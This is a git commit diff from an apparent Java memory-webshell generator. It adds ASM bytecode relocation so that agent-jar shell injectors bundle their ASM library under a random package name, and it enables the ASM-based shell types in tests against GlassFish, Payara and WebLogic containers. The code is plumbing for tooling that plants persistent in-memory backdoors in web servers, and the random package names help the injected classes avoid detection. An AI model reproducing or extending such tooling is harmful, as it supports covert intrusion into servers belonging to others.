feat: support asm relocate to ignore server inner asm

This commit is contained in:
ReaJason
2025-03-30 15:33:31 +08:00
parent 476d92f173
commit 3ced92f2d0
10 changed files with 106 additions and 40 deletions
+1
View File
@@ -12,6 +12,7 @@ java {
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
@@ -0,0 +1,53 @@
package com.reajason.javaweb.asm;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.commons.ClassRemapper;
import org.objectweb.asm.commons.Remapper;
import org.objectweb.asm.commons.SimpleRemapper;
/**
* @author ReaJason
* @since 2025/3/29
*/
public class ClassRenameUtils {
public static byte[] renameClass(byte[] classBytes, String newName) {
ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
String oldClassName = reader.getClassName();
String newClassName = newName.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName));
reader.accept(adapter, 0);
return writer.toByteArray();
}
public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
String oldClassName = relocateClassPackage.replace('.', '/');
String newClassName = relocatePrefix.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
@Override
public String map(String typeName) {
if (typeName.startsWith(oldClassName)) {
return typeName.replaceFirst(oldClassName, newClassName);
} else {
return typeName;
}
}
});
reader.accept(adapter, 0);
return writer.toByteArray();
}
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.asm;
import lombok.Getter;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.Opcodes;
import java.io.IOException;
import java.io.InputStream;
@@ -1,12 +1,9 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassWriter;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.SimpleRemapper;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
@@ -31,23 +28,8 @@ public class CustomShellGenerator {
throw new IllegalArgumentException("Custom shell class is empty");
}
byte[] bytes = renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
private static byte[] renameClass(byte[] classBytes, String newName) {
ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
String oldClassName = reader.getClassName();
String newClassName = newName.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName));
reader.accept(adapter, 0);
return writer.toByteArray();
}
}
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import org.apache.commons.io.IOUtils;
@@ -41,24 +43,44 @@ public class AgentJarPacker implements JarPacker {
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
String RELOCATE_PREFIX = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
boolean RELOCATE_ENABLED = true;
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
String dependencyPackageName = null;
if (generateResult.getShellConfig().getShellType().endsWith("ASM")) {
addDependency(targetJar, Opcodes.class);
dependencyPackageName = Opcodes.class.getPackage().getName();
addDependency(targetJar, Opcodes.class, true, RELOCATE_PREFIX);
} else {
addDependency(targetJar, ByteBuddy.class);
RELOCATE_ENABLED = false;
dependencyPackageName = ByteBuddy.class.getPackage().getName();
addDependency(targetJar, ByteBuddy.class, false, RELOCATE_PREFIX);
}
byte[] injectorBytes = generateResult.getInjectorBytes();
if (RELOCATE_ENABLED) {
injectorBytes = ClassRenameUtils.relocateClass(injectorBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
}
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getInjectorBytes());
targetJar.write(injectorBytes);
targetJar.closeEntry();
byte[] shellBytes = generateResult.getShellBytes();
if (RELOCATE_ENABLED) {
shellBytes = ClassRenameUtils.relocateClass(shellBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
}
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getShellBytes());
targetJar.write(shellBytes);
targetJar.closeEntry();
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
targetJar.write(entry.getValue());
byte[] innerClassBytes = entry.getValue();
if (RELOCATE_ENABLED) {
innerClassBytes = ClassRenameUtils.relocateClass(innerClassBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
}
targetJar.write(innerClassBytes);
targetJar.closeEntry();
}
}
@@ -66,7 +88,7 @@ public class AgentJarPacker implements JarPacker {
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
@@ -89,8 +111,16 @@ public class AgentJarPacker implements JarPacker {
String entryName = entry.getName();
if (entryName.startsWith(packageToMove)) {
InputStream entryStream = sourceJar.getInputStream(entry);
targetJar.putNextEntry(new JarEntry(entryName));
IOUtils.copy(entryStream, targetJar);
byte[] bytes = IOUtils.toByteArray(entryStream);
if (relocate) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (bytes.length > 0) {
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
}
} else {
targetJar.putNextEntry(new JarEntry(entryName));
}
targetJar.write(bytes);
targetJar.closeEntry();
entryStream.close();
}
@@ -87,7 +87,7 @@ public class CommonUtil {
return sb.toString();
}
private static String getRandomPackageName() {
public static String getRandomPackageName() {
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
}
@@ -60,9 +60,9 @@ public class GlassFish3ContainerTest {
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
// ShellType.AGENT_FILTER_CHAIN_ASM, 内置了 asm 但是版本太低
ShellType.CATALINA_AGENT_CONTEXT_VALVE
// ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
@@ -53,8 +53,8 @@ public class Payara5201ContainerTest {
Server server = Server.Payara;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
// ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM // 内置了 ASM,但是版本较低,是 7 版本不兼容
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,8 @@ public class WebLogic14110ContainerTest {
Server server = Server.WebLogic;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
// ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM // 内置 ASM,但只有 7.1 版本
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
);
List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -193,4 +193,4 @@ public class CommandHandlerAsmMethodVisitor extends MethodVisitor {
// End of catch block
mv.visitLabel(afterCatch);
}
}
}